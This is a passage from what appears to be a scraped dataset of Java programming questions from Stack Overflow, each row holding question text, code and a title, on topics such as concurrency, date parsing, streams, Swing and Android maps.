example if needed","public class Test implements Runnable { public int local_counter public static int global_counter // Barrier waits for as many threads as we launch + main thread public static CyclicBarrier thread_barrier = new CyclicBarrier ( n_threads + 1 ) ; /* Constructors etc . */ public void run ( ) { for ( int i=0 ; i < 100 ; i++ ) { thread_barrier.await ( ) ; local_counter = 0 ; for ( int j=0 ; j = 20 ; j++ ) local_counter++ ; thread_barrier.await ( ) ; } } public void main ( ) { /* Create and launch some threads , stored on thread_array */ for ( int i=0 ; i < 100 ; i++ ) { thread_barrier.await ( ) ; thread_barrier.await ( ) ; for ( int t=1 ; t < thread_array.length ; t++ ) { global_counter += thread_array [ t ] .local_counter ; } } } } | -- -- | | | -- -- | |main| | |pool| | -- -- | | | -- -- | | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -barrier ( get local counters before they 're overwritten ) -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - | | 1. reset local counter | 2. do some computations | involving local counter | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - barrier ( synchronize all threads ) -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - |1 . update global counter | using each thread 's | local counter |",How can I rewrite this main thread - worker threads synchronization +Java,"I 'm trying to create a DateTimeFormatter to match the following example ( it 's actually slightly more complex than this but that should n't matter ) .I 've written the following but it results in an exception : The exception is : It appears to be failing on the colon between 17:45 and DateTimeFormatterBuilder.appendLiteral does n't give any clues.If I change the literal to another character , let 's say m , then it works fine : What 's going on here ? How can I fix it , assuming I ca n't change the format ? Comments suggest this might be version dependent . I 'm using JDK 9.0.1 and it 's been reproduced on 9.0.4 .",20180302-17:45:21 new DateTimeFormatterBuilder ( ) .append ( DateTimeFormatter.BASIC_ISO_DATE ) .appendLiteral ( '- ' ) .append ( DateTimeFormatter.ISO_LOCAL_TIME ) .toFormatter ( ) .parse ( `` 20180302-17:45:21 '' ) ; Exception in thread `` main '' java.time.format.DateTimeParseException : Text '20180302-17:45:21 ' could not be parsed at index 11 at java.base/java.time.format.DateTimeFormatter.parseResolved0 ( DateTimeFormatter.java:1988 ) at java.base/java.time.format.DateTimeFormatter.parse ( DateTimeFormatter.java:1816 ) new DateTimeFormatterBuilder ( ) .append ( DateTimeFormatter.BASIC_ISO_DATE ) .appendLiteral ( 'm ' ) .append ( DateTimeFormatter.ISO_LOCAL_TIME ) .toFormatter ( ) .parse ( `` 20180302m17:45:21 '' ) ;,Literal dash added to DateTimeFormatterBuilder causes parsing to fail +Java,"We collect some statistics using AtomicLongs . Some users are seeing contention on these and have suggested using LongAdder instead . However I see no way to calculate the maximum value as we are currently doing with the Atomic : So I think we can replace _total easily enough with a LongAdder , but because we do _current.addAndGet ( delta ) that will not work well for a LongAdder , nor can we do cas operation for the ` _max ' value.Are there any good algorithms for collecting such statistics based on LongAdder or similar scalable lock free constructs ? Actually , whiles I 'm asking , our stats typically update 6 to 10 AtomicLongs . If we are seeing contention anyway , could it be possibly be better to just grab a lock and update 6 to 10 normal longs ?","AtomicLong _current , _total , _max ; ... void add ( long delta ) { long current = _current.addAndGet ( delta ) ; if ( delta > 0 ) { _total.addAndGet ( delta ) ; long max = _max.get ( ) ; while ( current > max ) { if ( _max.compareAndSet ( max , current ) ) break ; max = _max.get ( ) ; } }",Using LongAdder to calculate a max value for a statistical counter ? +Java,"I 'm making a little game just for fun and I got stuck making the bullets come out of the gun . In the code below , the direction of the player is a degree angle called rot.The code : Also tried : But same resultsSupposedly the bullets should spawn at the end of the gun but this is n't the case as you can see in the following gif..Any help appreciated","float gunOffsetX = 106 , gunOffsetY = 96 ; double angle = Math.toRadians ( rot ) ; // convert direction of player from degrees to radians for sin and cosx = getX ( ) ; // player Xy = getY ( ) ; // player Yfloat bulletX = ( float ) ( x + ( gunOffsetX * Math.cos ( angle ) - gunOffsetY * Math.sin ( angle ) ) ) ; float bulletY = ( float ) ( y + ( gunOffsetX * Math.sin ( angle ) + gunOffsetY * Math.cos ( angle ) ) ) ; Instances.fire.add ( new Fire ( bulletX , bulletY , rot , weapon ) ) ; bulletX = ( float ) ( x + Math.cos ( angle + Math.atan2 ( 106 , 96 ) ) * Point2D.distance ( 0 , 0 , 106 , 96 ) ) ;",Bullets not getting shot out of the gun +Java,"I was looking at Collectors.toSet implementation under jdk-8 and pretty much saw the obvious thing : Look at the combiner for a moment ; this has been discussed before here , but the idea is that a combiner folds from the second argument into the first . And that obviously happens here.But then I looked into jdk-9 implementation and saw this : Now why this happens is a bit obvious - it takes less time to add less elements to a bigger Set , then the other way around . But is that really cheaper than plain addAll , consider the extra overhead for the branch too ? Also this breaks my law about always folding left ... Can someone shed some light here ?","public static < T > Collector < T , ? , Set < T > > toSet ( ) { return new CollectorImpl < > ( ( Supplier < Set < T > > ) HashSet : :new , Set : :add , ( left , right ) - > { left.addAll ( right ) ; return left ; } , // combiner CH_UNORDERED_ID ) ; public static < T > Collector < T , ? , Set < T > > toSet ( ) { return new CollectorImpl < > ( ( Supplier < Set < T > > ) HashSet : :new , Set : :add , ( left , right ) - > { if ( left.size ( ) < right.size ( ) ) { right.addAll ( left ) ; return right ; } else { left.addAll ( right ) ; return left ; } } , CH_UNORDERED_ID ) ;",Collectors.toSet implementation detail +Java,"I 've read on many places that Java 's interface can be 100 % emulated using C++ 's abstract class with all pure virtual methods.I 'm trying to convert this piece of java code : into something like this in C++ : but no matter how hard I try , I always end up with C++ complaining about ambiguity and/or missing body definitions.The idea is that I want to derive from `` C '' which contains some shared code for all classes ( here : `` D '' but there 's more of them ) and yet maintain the promise that `` D '' is 100 % interchangeable with any class implementing `` B '' ( incl . the parts from `` A '' ) .The errors I 'm getting with C++ code above is :","interface A { void a ( ) ; } interface B extends A { void b ( ) ; } class C implements A { public void a ( ) { } } class D extends C implements B { public void b ( ) { } } D d = new D ( ) ; d.a ( ) ; d.b ( ) ; class A { public : virtual void a ( ) const = 0 ; protected : virtual ~A ( ) { } } ; class B : public A { public : virtual void b ( ) const = 0 ; protected : virtual ~B ( ) { } } ; class C : public /*implements*/ A { public : virtual void a ( ) const override { } } ; class D : public /*extends*/ C , public /*implements*/ B { public : virtual void b ( ) const override { } } ; D d ; d.a ( ) ; d.b ( ) ; ../untitled1/main.cpp : In function ‘ int main ( int , char** ) ’ : ../untitled1/main.cpp:39:7 : error : can not declare variable ‘ d ’ to be of abstract type ‘ D ’ D d ; ^../untitled1/main.cpp:28:7 : note : because the following virtual functions are pure within ‘ D ’ : class D : public /*extends*/ C , public /*implements*/ B { ^../untitled1/main.cpp:7:18 : note : virtual void A : :a ( ) const virtual void a ( ) const = 0 ; ^../untitled1/main.cpp:40:7 : error : request for member ‘ a ’ is ambiguous d.a ( ) ; ^../untitled1/main.cpp:7:18 : note : candidates are : virtual void A : :a ( ) const virtual void a ( ) const = 0 ; ^../untitled1/main.cpp:23:18 : note : virtual void C : :a ( ) const virtual void a ( ) const override { ^",Overlapping java-like interfaces in C++ +Java,"An application may operate in two modes - `` real time '' where it looks at every update to the state of the world , or `` sampled '' where it only looks at the state of the world every T milliseconds.If I were writing Haskell ( or any language with ADTs ) I would model this aswhich can be used as follows in a type-safe wayI say that it is `` type-safe '' because if you are running in real-time mode , you are prevented from trying to access the interval field ( which is provided at just the time you need it if you are operating in sampled mode ) .How can I model the same thing in Java in a type-safe way ? That is , I wantTo define a class ( or enum ) that distinguishes between the two modes , andTo prohibit access to the interval field when in real-time mode , andTo have all of this checked by the compiler.Is this possible in Java ? If not , what is the idiomatic way to achieve this kind of type-safety ?",data Mode = RealTime | Sampled Int case mode of RealTime - > -- do realtime stuff Sampled interval - > -- do sample stuff with 'interval ',Simulating ADTs in Java +Java,"i let user to put one marker and if he put another marker i will remove the another markerthen : i wan na to take the geoPoint for this marker and send it to another Activity as Stringthis is my code , how can i send the markerGP = pt ; markerGP by intent to another Activitycan you fix my code ? i am reeally stuck here ! !","public class AndroidLocationActivity extends MapActivity { private MapView map=null ; private MyLocationOverlay me=null ; private LocationManager locationManager ; private GeoPoint markerGP = null ; private boolean markerAdded = false ; @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.main ) ; map= ( MapView ) findViewById ( R.id.mapview ) ; map.getController ( ) .setCenter ( getPoint ( 40.76793169992044 , -73.98180484771729 ) ) ; map.getController ( ) .setZoom ( 17 ) ; map.setBuiltInZoomControls ( true ) ; Drawable marker=getResources ( ) .getDrawable ( R.drawable.marker ) ; marker.setBounds ( 0 , 0 , marker.getIntrinsicWidth ( ) , marker.getIntrinsicHeight ( ) ) ; map.getOverlays ( ) .add ( new SitesOverlay ( marker ) ) ; myLocation ( ) ; } @ Override public void onResume ( ) { super.onResume ( ) ; me.enableCompass ( ) ; } @ Override public void onPause ( ) { super.onPause ( ) ; // markerAdded = false ; me.disableCompass ( ) ; } @ Override protected boolean isRouteDisplayed ( ) { return ( false ) ; } @ Override public boolean onKeyDown ( int keyCode , KeyEvent event ) { if ( keyCode == KeyEvent.KEYCODE_S ) { map.setSatellite ( ! map.isSatellite ( ) ) ; return ( true ) ; } else if ( keyCode == KeyEvent.KEYCODE_Z ) { map.displayZoomControls ( true ) ; return ( true ) ; } return ( super.onKeyDown ( keyCode , event ) ) ; } public void myLocation ( ) { locationManager = ( LocationManager ) getSystemService ( Context.LOCATION_SERVICE ) ; locationManager.requestLocationUpdates ( LocationManager.GPS_PROVIDER , 0 , 0 , new GeoUpdateHandler ( ) ) ; me = new MyLocationOverlay ( this , map ) ; me.enableMyLocation ( ) ; map.getOverlays ( ) .add ( me ) ; map.invalidate ( ) ; me.runOnFirstFix ( new Runnable ( ) { public void run ( ) { map.getController ( ) .animateTo ( me.getMyLocation ( ) ) ; } } ) ; } private GeoPoint getPoint ( double lat , double lon ) { return ( new GeoPoint ( ( int ) ( lat*1000000.0 ) , ( int ) ( lon*1000000.0 ) ) ) ; } private class SitesOverlay extends ItemizedOverlay < OverlayItem > { private List < OverlayItem > items=new ArrayList < OverlayItem > ( ) ; private Drawable marker=null ; private OverlayItem inDrag=null ; private ImageView dragImage=null ; private int xDragImageOffset=0 ; private int yDragImageOffset=0 ; private int xDragTouchOffset=0 ; private int yDragTouchOffset=0 ; private boolean moved = true ; public SitesOverlay ( Drawable marker ) { super ( marker ) ; this.marker=marker ; dragImage= ( ImageView ) findViewById ( R.id.drag ) ; xDragImageOffset=dragImage.getDrawable ( ) .getIntrinsicWidth ( ) /2 ; yDragImageOffset=dragImage.getDrawable ( ) .getIntrinsicHeight ( ) ; populate ( ) ; } @ Override protected OverlayItem createItem ( int i ) { return ( items.get ( i ) ) ; } @ Override public void draw ( Canvas canvas , MapView mapView , boolean shadow ) { super.draw ( canvas , mapView , shadow ) ; boundCenterBottom ( marker ) ; } @ Override public int size ( ) { return ( items.size ( ) ) ; } @ Override public boolean onTouchEvent ( MotionEvent event , MapView mapView ) { final int action=event.getAction ( ) ; final int x= ( int ) event.getX ( ) ; final int y= ( int ) event.getY ( ) ; GeoPoint pt=map.getProjection ( ) .fromPixels ( x-xDragTouchOffset , y-yDragTouchOffset ) ; boolean result=false ; if ( action==MotionEvent.ACTION_DOWN ) { moved = false ; for ( OverlayItem item : items ) { Point p=new Point ( 0,0 ) ; inDrag = null ; map.getProjection ( ) .toPixels ( item.getPoint ( ) , p ) ; if ( hitTest ( item , marker , x-p.x , y-p.y ) ) { result=true ; inDrag=item ; items.remove ( inDrag ) ; populate ( ) ; xDragTouchOffset=0 ; yDragTouchOffset=0 ; setDragImagePosition ( p.x , p.y ) ; dragImage.setVisibility ( View.VISIBLE ) ; xDragTouchOffset=x-p.x ; yDragTouchOffset=y-p.y ; break ; } } } else if ( action==MotionEvent.ACTION_MOVE ) { moved = true ; if ( inDrag ! =null ) { setDragImagePosition ( x , y ) ; result=true ; } } //Drop dragged marker else if ( action==MotionEvent.ACTION_UP & & inDrag ! =null ) { dragImage.setVisibility ( View.GONE ) ; OverlayItem toDrop=new OverlayItem ( pt , inDrag.getTitle ( ) , inDrag.getSnippet ( ) ) ; items.add ( toDrop ) ; populate ( ) ; inDrag=null ; result=true ; } //Add new marker to the map else if ( action==MotionEvent.ACTION_UP & & inDrag == null ) { if ( ! markerAdded & & ! moved ) { //GeoPoint ` pt ` markerGP = pt ; OverlayItem toDrop=new OverlayItem ( pt , `` TITLE '' , `` SNIPPET '' ) ; items.add ( toDrop ) ; populate ( ) ; markerAdded = true ; inDrag=null ; result=true ; } } return ( result || super.onTouchEvent ( event , mapView ) ) ; } private void setDragImagePosition ( int x , int y ) { RelativeLayout.LayoutParams lp= ( RelativeLayout.LayoutParams ) dragImage.getLayoutParams ( ) ; lp.setMargins ( x-xDragImageOffset-xDragTouchOffset , y-yDragImageOffset-yDragTouchOffset , 0 , 0 ) ; dragImage.setLayoutParams ( lp ) ; } } public class GeoUpdateHandler implements LocationListener { @ Override public void onLocationChanged ( Location location ) { int lat = ( int ) ( location.getLatitude ( ) * 1E6 ) ; int lng = ( int ) ( location.getLongitude ( ) * 1E6 ) ; GeoPoint point = new GeoPoint ( lat , lng ) ; map.getController ( ) .animateTo ( point ) ; //map.getController ( ) .setCenter ( point ) ; } @ Override public void onProviderDisabled ( String provider ) { } @ Override public void onProviderEnabled ( String provider ) { } @ Override public void onStatusChanged ( String provider , int status , Bundle extras ) { } } }",send the GeoPoint to another Activity +Java,"In section Run-Time Evaluation of Method References of the Java Language Specification , it is mentioned that : At run time , evaluation of a method reference expression is similar to evaluation of a class instance creation expression , insofar as normal completion produces a reference to an object . Evaluation of a method reference expression is distinct from invocation of the method itself . First , if the method reference expression begins with an ExpressionName or a Primary , this subexpression is evaluated . If the subexpression evaluates to null , a NullPointerException is raised , and the method reference expression completes abruptly . If the subexpression completes abruptly , the method reference expression completes abruptly for the same reason.And ExpressionName and Primary are defined in the method reference expression syntax : I was interested by the highlighted part and wanted to test the mentioned behavior using the below code : However , the line foo ( p : :getName ) does not throw a NullPointerException . Am I misunderstanding the above quote from the JLS ? If yes , could someone explain more the meaning of the above quote or give an example where it would occur ?","MethodReference : ExpressionName : : [ TypeArguments ] Identifier ReferenceType : : [ TypeArguments ] Identifier Primary : : [ TypeArguments ] Identifier super : : [ TypeArguments ] Identifier TypeName . super : : [ TypeArguments ] Identifier ClassType : : [ TypeArguments ] new ArrayType : : new public class Test { public static void main ( String [ ] args ) { System.out.println ( `` Testing ... '' ) ; final Person p = null ; foo ( p : :getName ) ; // I was expecting an NPE here } private static void foo ( Supplier < String > supplier ) { System.out.println ( supplier ) ; // supplier.get ( ) ; // uncommenting this causes an NPE , but not when evaluating // the method reference , but rather when the method is invoked . } static class Person { String getName ( ) { return `` x '' ; } } }",Runtime evaluation of expressions in Java method references +Java,"I am considering using AppEngine for deploying a webapp which I am developing . As part of my investigation into the AppEngine platform I have been checking the response time for simple requests . To this end , I have written a simple PING servlet : I have then written a java program to make a request every second to this servlet and time how long it takes to complete the request . Fetching the page content uses the following code.Every 3 minutes my monitor script outputs data in the following format : normrequests are all requests which take less than 500ms to completelatereqs are all requests which take longer than 500ms to completefailreqs are any which throw an IO exception during the download or if the content received is not equal to `` PONG '' My output for the last ~20 minutes is as follows : This shows that in each 5 minute period there are between 2 and 8 `` late '' requests taking an average of between 827 and 1177ms to complete.This compares with the following output from the same period running against the same servlet on a micro instance running on Amazon EC2.This shows far fewer `` late '' requests and the response time for these slow requests is much lower.I am making my requests from a server based in the UK . My Amazon EC2 instance is running in `` US East '' . I do n't know where Google is running my AppEngine instance.Can I do anything to improve the consistency of AppEngine response times or is the variance I am seeing normal for AppEngine ?","@ SuppressWarnings ( `` serial '' ) public class Ping extends HttpServlet { @ Override public void doGet ( @ SuppressWarnings ( `` unused '' ) HttpServletRequest xiReq , HttpServletResponse xiResp ) throws IOException { xiResp.setContentType ( `` text/plain '' ) ; xiResp.getWriter ( ) .println ( `` PONG '' ) ; } } private static String getPageContent ( String url ) throws IOException { String result = null ; URL reqURL = new URL ( url ) ; URLConnection connection = reqURL.openConnection ( ) ; connection.setConnectTimeout ( 30 * 1000 ) ; connection.setReadTimeout ( 30 * 3000 ) ; InputStream webStream = connection.getInputStream ( ) ; BufferedReader reader = new BufferedReader ( new InputStreamReader ( webStream ) ) ; result = reader.readLine ( ) ; reader.close ( ) ; return result ; } date , num_reqs , num_failedreqs , avg_reqtime , num_normreqs , avg_normreqtime , num_latereqs , avg_latereqtime Thu Nov 25 10:04:01 GMT 2010,300,0,186,295,171,5,1093Thu Nov 25 10:09:28 GMT 2010,300,0,191,292,173,8,842Thu Nov 25 10:14:52 GMT 2010,300,0,184,295,167,5,1177Thu Nov 25 10:20:15 GMT 2010,300,0,182,294,168,6,876Thu Nov 25 10:25:46 GMT 2010,300,0,172,298,167,2,827 Thu Nov 25 10:03:53 GMT 2010,300,0,177,300,177,0,0Thu Nov 25 10:09:20 GMT 2010,300,0,179,299,178,1,583Thu Nov 25 10:14:43 GMT 2010,300,0,176,299,175,1,545Thu Nov 25 10:20:07 GMT 2010,300,0,176,299,175,1,531Thu Nov 25 10:25:37 GMT 2010,300,0,181,298,178,2,669",AppEngine Response Time Variance +Java,"Here in following code we are getting value of i on a null reference , though a NPE is not there.output",public class Test { static int i = 10 ; Test getTest ( ) { return null ; } public static void main ( String args [ ] ) { Test t = new Test ( ) ; System.out.println ( t.getTest ( ) ) ; System.out.println ( t.getTest ( ) .i ) ; } } null10,Why not a NullPointerException while accessing static with null reference ? +Java,"I suppose that a program like this ... ... may possibly output `` this object is known to never be referenced . '' before `` done '' . ( Correct me if I 'm wrong here ! ) Furthermore , it is easy for a compiler/JVM to detect `` unread locals '' . In the program below for instance , Eclipse notices that `` The local variable t is never read '' .However would it be illegal for the JVM to output `` this object is known to never be referenced . '' before `` done '' given the ( .class version ) of the program below ? Most documentation of garbage collection talk about reachability . Given the fact that t is never read , the object is obviously not `` reachable '' , or ? References to the JLS are appreciated .",class Test { public static void main ( String [ ] args ) { new Test ( ) ; System.out.println ( `` done '' ) ; } protected void finalize ( ) { System.out.println ( `` this object is known to never be referenced . `` ) ; } } class Test { public static void main ( String [ ] args ) { Test t = new Test ( ) ; System.out.println ( `` done '' ) ; } protected void finalize ( ) { System.out.println ( `` this object is known to never be referenced . `` ) ; } },Garbage Collection Details : Is this object eligible for GC ? +Java,"It is a very basic question , but I do n't seem to understand why this does n't work . As far as I know , a and b would be pointers ( in C thinking ) to Integer objects . Why is the output 3 2 and not 3 3 ? I would have expected the value of b to also be incremented when incrementing a .",Integer a = new Integer ( 1 ) ; Integer b = new Integer ( 2 ) ; a = b ; a++ ; System.out.print ( a + `` `` + b ) ;,Why is n't the value updated ? +Java,"I came across the following piece of code during a code review.My intuition is telling me that this is n't following proper OOP.I 'm thinking that instead the LoadObject method should return a new SomeObject object , instead of modifying the one passed into it . Though I ca n't really find a proper explanation of why this is better . Is my solution better ? and if so why ? specifically what OOP principles or standards are broken in the given code example ( if any ) ?","public void someMethod ( ) { ... var someObject = new SomeObject ( ) ; LoadSomeObject ( reader , someObject ) ; } private void LoadSomeObject ( SqlDataReader reader , SomeObject someObject ) { someObject.Id = reader.GetGuid ( 0 ) ; }",Returning a new Object vs modifying one passed in as a parameter +Java,"I have a confusion in following two method declarations : Should n't both of the above be valid ? With the analogy of If U is parent of T , then T is child of U . Then why does 2nd one gives compilation error ? EDIT : :I think , T extends T and T super T both are valid . right ?","private < U , T extends U > T funWorks ( T child , U parent ) { // No compilation errors } private < T , U super T > T funNotWorks ( T child , U parent ) { // compilation errors }","Are n't < U , T extends U > and < T , U super T > the same ?" +Java,"I want to determine the minimum area required to display a collection of points . The easy way is to loop through the collection like this : I am getting to know streams . To do the same , you can do the following : Both give the same result . However , although the streams approach is elegant , it is much slower ( as expected ) .Is there a way to get minX , maxX , minY and maxY in a single stream operation ?",int minX = Integer.MAX_VALUE ; int maxX = Integer.MIN_VALUE ; int minY = Integer.MAX_VALUE ; int maxY = Integer.MIN_VALUE ; for ( Point point : points ) { if ( point.x < minX ) { minX = point.x ; } if ( point.x > maxX ) { maxX = point.x ; } if ( point.y < minY ) { minY = point.y ; } if ( point.y > maxY ) { maxY = point.y ; } } int minX = points.stream ( ) .mapToInt ( point - > point.x ) .min ( ) .orElse ( -1 ) ; int maxX = points.stream ( ) .mapToInt ( point - > point.x ) .max ( ) .orElse ( -1 ) ; int minY = points.stream ( ) .mapToInt ( point - > point.y ) .min ( ) .orElse ( -1 ) ; int maxY = points.stream ( ) .mapToInt ( point - > point.y ) .max ( ) .orElse ( -1 ) ;,How to get multiple values from an object using a single stream operation ? +Java,"I 've done a bit of research but I mostly see c++ answers . The closest I 've come to is this . I also saw this page but it does n't really explain anything.Are there any advantages if I use the second piece of code ? Will there be noticable performance differences ? What about memory ? What if it 's done repetitively ? Right now I have this function . I 'm sure the benefit of this is code readability : Now , I have this second snippet of code : A simpler example would be : versus","private static Bitmap resize ( Bitmap image , int maxWidth ) { float widthReducePercentage = ( ( float ) maxWidth / image.getWidth ( ) ) ; int scaledHeight = Math.round ( image.getHeight ( ) * widthReducePercentage ) ; return Bitmap.createScaledBitmap ( image , maxWidth , scaledHeight , true ) ; } private static Bitmap resize ( Bitmap image , int maxWidth ) { return Bitmap.createScaledBitmap ( image , maxWidth , Math.round ( image.getHeight ( ) * ( float ) maxWidth / image.getWidth ( ) ) , true ) ; } for ( ; ; ) { String foo = `` hello '' ; Console.print ( foo + `` world '' ) ; } for ( ; ; ) { Console.print ( `` hello '' + `` world '' ) ; }",Java - Will inlining code have benefits ? +Java,"I have a bunch of buttons in my JToolBar , and I set some of them to be disabled or enabled depending on the state of my application . I find when I am updating a number of buttons at once that they are not all repainted at the same time . I want to ensure that when I set a number of buttons to be disabled/enabled , that they all change state at the same time.Below is a small test that demonstrates the problem . ( It needs a file a.png in the current directory to use as a button icon . ) When you run it , a toolbar with 10 buttons is shown . Pressing Enter at the terminal will toggle the disabled state of all of the buttons . On my machine at least , each time I do this the buttons are repainted in a seemingly random order , and not all at once.It seems like double buffering might solve the problem , although the first thing I tried ( setting double buffering on the JToolBar ) did n't seem to affect anything.Thanks , Cameron",import java.awt . * ; import javax.swing . * ; import java.io . * ; import java.util . * ; public class Test { public static void main ( String [ ] args ) throws IOException { final JButton [ ] bs = new JButton [ 10 ] ; EventQueue.invokeLater ( new Runnable ( ) { public void run ( ) { JFrame f = new JFrame ( `` test '' ) ; JToolBar t = new JToolBar ( ) ; f.getContentPane ( ) .add ( t ) ; for ( int i = 0 ; i < bs.length ; i++ ) { bs [ i ] = new JButton ( new ImageIcon ( `` a.png '' ) ) ; t.add ( bs [ i ] ) ; } f.pack ( ) ; f.setVisible ( true ) ; } } ) ; BufferedReader r = new BufferedReader ( new InputStreamReader ( System.in ) ) ; for ( ; ; ) { r.readLine ( ) ; EventQueue.invokeLater ( new Runnable ( ) { public void run ( ) { for ( JButton b : bs ) { b.setEnabled ( ! b.isEnabled ( ) ) ; } } } ) ; } } },Can I batch some Swing component updates so that repaints are all done at once ? +Java,"I 'm using Java 13 ( 13.0.1.hs-adpt ) and I enabled the preview language features ( mainly because of text blocks ) .My code is properly annotated with @ SuppressWarnings ( `` preview '' ) wherever relevant , but I still getwhenever I compile.I understand that that 's not the compiler printing warnings ( in fact , -Xlint : -preview does n't change anything ) .Is there a way to suppress these messages ?",Note : Some input files use preview language features.Note : Recompile with -Xlint : preview for details .,How can I suppress Javac warning about preview features ? +Java,"I 'm trying to run a python program with a for loop which has a variable i increased by 1 every time from 1 to the length of my list . In java , my code that I 'm going for might look something like this : This actually affects my counter the way intended and allows me to effectively skip numbers in my for loop and I want to try to run a similar program but in python . Is there any way to do this with python 's built in functionality or do I have to just use a while loop and a counter to simulate this myself if I want python to work this way ?",for ( int i = 0 ; i < array.length ; i++ ) { //code goes here i += //the number i want it to go up by },Is there a way to affect the range counter in Python ? +Java,"After researching I still ca n't find the specific solution for my problem . I have an `` approximately equals '' method that uses an epsilon , while my hashCode method uses the exact values . This breaks the precondition of HashSet when I compare the values.I ca n't find a way to make the hasCode ( ) consistent with my equals method .","@ Overridepublic boolean equals ( Object o ) { if ( o == this ) return true ; if ( ! ( o instanceof EPoint ) ) { return false ; } EPoint ePoint = ( EPoint ) o ; return Math.abs ( Math.abs ( ePoint.lat ) - Math.abs ( lat ) ) < EPSILON & & Math.abs ( Math.abs ( ePoint.lon ) - Math.abs ( lon ) ) < EPSILON ; } @ Overridepublic int hashCode ( ) { return Objects.hash ( lat , lon ) ; }",Inconsistent hashcode and equals java +Java,"I have this basic News interfaceand concrete classes like SportsNews and FinancialNews to provide specific methods like getStockPrice ( ) , getSport ( ) and so on . News are intended to be dispatched to aThe problem is how to register and maintain subscriptions . The first approach I tried was using a central Aggregator , keeping a map between Class < T > objects and Set < Subscriber < T > > , but soon this approach revealed unviable . Here is the desired APIIs there any alternative to be type safe ? Can Java solve this problem at all ? I put this little demo online to help you better understand what the problem really is.UPDATEAn alternative would be to make Aggregator itself parameterized with the actual news type . This would be ok , except that it 's a chicken and egg problem : now one needs to find a way to retrieve the aggregator . In Java there 's no way to express the followingstatic method ca n't be abstractthere 's no way to reference the current type in a type argument",interface News { String getHeader ( ) ; String getText ( ) ; } interface Subscriber < N extends News > { void onNews ( N news ) ; } public class Aggregator { public < N extends News > void subscribe ( Subscriber < N > subscriber ) { // TODO somehow ( super type token ) extract N and // add the item to the set retrieved by getSubscribersFor ( ) } public < N extends News > void dispatch ( N news ) { for ( Subscriber < N > subscriber : getSubscribersFor ( news.getClass ( ) ) ) { subscriber.onNews ( news ) ; } } private < N extends News > Set < Subscriber < N > > getSubscribersFor ( Class < N > k ) { // TODO retrieve the Set for the specified key from the Map } } interface News { static Aggregator < CurrentClass > getAggregator ( ) ; },Can generics and ( super ? ) type tokens help to build a type-safe news aggregator ? +Java,"I 've been examining the Java Language Specification here ( instead I should be out having a beer ) and I am curious about what a method can contain . The specification states a method body can contain a blockWhere a 'Block ' contains 'BlockStatements ' . The 'BlockStatement ' rule looks like this : I can understand the 'LocalVariableDeclarationStatement ' which could be However , I do n't get why the 'ClassOrInterfaceDeclaration ' rule is there . This rule looks like : What 's going on here - You ca n't declare a class or interface within a block surely ? Can someone help elucidate this confusion please ? Update : I can define a class within a method , but the following wo n't work : The compiler complains stating `` The member interface dooJa can only be defined inside a top-level class or interface '' ... any explanations ?","MethodBody : Block BlockStatement : LocalVariableDeclarationStatement ClassOrInterfaceDeclaration [ Identifier : ] Statement [ final ] int x , y , z ; ClassOrInterfaceDeclaration : ModifiersOpt ( ClassDeclaration | InterfaceDeclaration ) ClassDeclaration : class Identifier [ extends Type ] [ implements TypeList ] ClassBodyInterfaceDeclaration : interface Identifier [ extends TypeList ] InterfaceBody public class Foo { public void doFoo ( ) { interface dooJa { int bar ( ) ; } } }",Java Language Specification - Can not understand 'BlockStatement ' +Java,"Have a look at the code below : The output produced by the above question is : Questions:1 . ) Why is time taken for N=1 unusually greater than the N=10 ? ( sometimes it even exceeds N=100 ) 2 . ) Why is time taken for N=10M and onwards unusually lower ? The pattern indicated in the above questions is profound and remains even after many iterations.Is there any connection to memoization here ? EDIT : Thank you for your answers . I thought of replacing the method call with the actual loop . But now , there is no JIT Optimization . Why not ? Is putting the statements in a method facilitating in the optimization process ? The modified code is below : EDIT 2 : The output of above modified code :",class Test { public static void main ( String abc [ ] ) { for ( int N=1 ; N < = 1_000_000_000 ; N=N*10 ) { long t1 = System.nanoTime ( ) ; start ( N ) ; long t2 = System.nanoTime ( ) - t1 ; System.out.println ( `` Time taken for `` + N + `` : `` + t2 ) ; } } public static void start ( int N ) { int j=1 ; for ( int i=0 ; i < =N ; i++ ) j=j*i ; } } Time taken for 1 : 7267Time taken for 10 : 3312Time taken for 100 : 7908Time taken for 1000 : 51181Time taken for 10000 : 432124Time taken for 100000 : 4313696Time taken for 1000000 : 9347132Time taken for 10000000 : 858Time taken for 100000000 : 658Time taken for 1000000000 : 750 class test { public static void main ( String abc [ ] ) { for ( int k=1 ; k < =3 ; k++ ) { for ( int N=1 ; N < =1_000_000_000 ; N=N*10 ) { long t1 = System.nanoTime ( ) ; int j=1 ; for ( int i=0 ; i < =N ; i++ ) j=j*i ; long t2 = System.nanoTime ( ) - t1 ; System.out.println ( `` Time taken for `` + N + `` : `` + t2 ) ; } } } } Time taken for 1 : 2160Time taken for 10 : 1142Time taken for 100 : 2651Time taken for 1000 : 19453Time taken for 10000 : 407754Time taken for 100000 : 4648124Time taken for 1000000 : 12859417Time taken for 10000000 : 13706643Time taken for 100000000 : 136928177Time taken for 1000000000 : 1368847843Time taken for 1 : 264Time taken for 10 : 233Time taken for 100 : 332Time taken for 1000 : 1562Time taken for 10000 : 17341Time taken for 100000 : 136869Time taken for 1000000 : 1366934Time taken for 10000000 : 13689017Time taken for 100000000 : 136887869Time taken for 1000000000 : 1368178175Time taken for 1 : 231Time taken for 10 : 242Time taken for 100 : 328Time taken for 1000 : 1551Time taken for 10000 : 13854Time taken for 100000 : 136850Time taken for 1000000 : 1366919Time taken for 10000000 : 13692465Time taken for 100000000 : 136833634Time taken for 1000000000 : 1368862705,Java multiplication strange behaviour +Java,Im receiving a file trough this code and the `` bos.write '' are saving it o to my HDD.Everything working good.Since im sending the file in a few second i thought i could store the file in memoryinstead of HDD.Now how do i do this ?,"File path = new File ( `` C : //anabella//test1.txt '' ) ; BufferedOutputStream bos = new BufferedOutputStream ( new FileOutputStream ( path ) ) ; int size = 1024 ; int val = 0 ; byte [ ] buffer = new byte [ 1024 ] ; while ( fileSize > 0 ) { val = in.read ( buffer , 0 , size ) ; bos.write ( buffer , 0 , val ) ; fileSize -= val ; 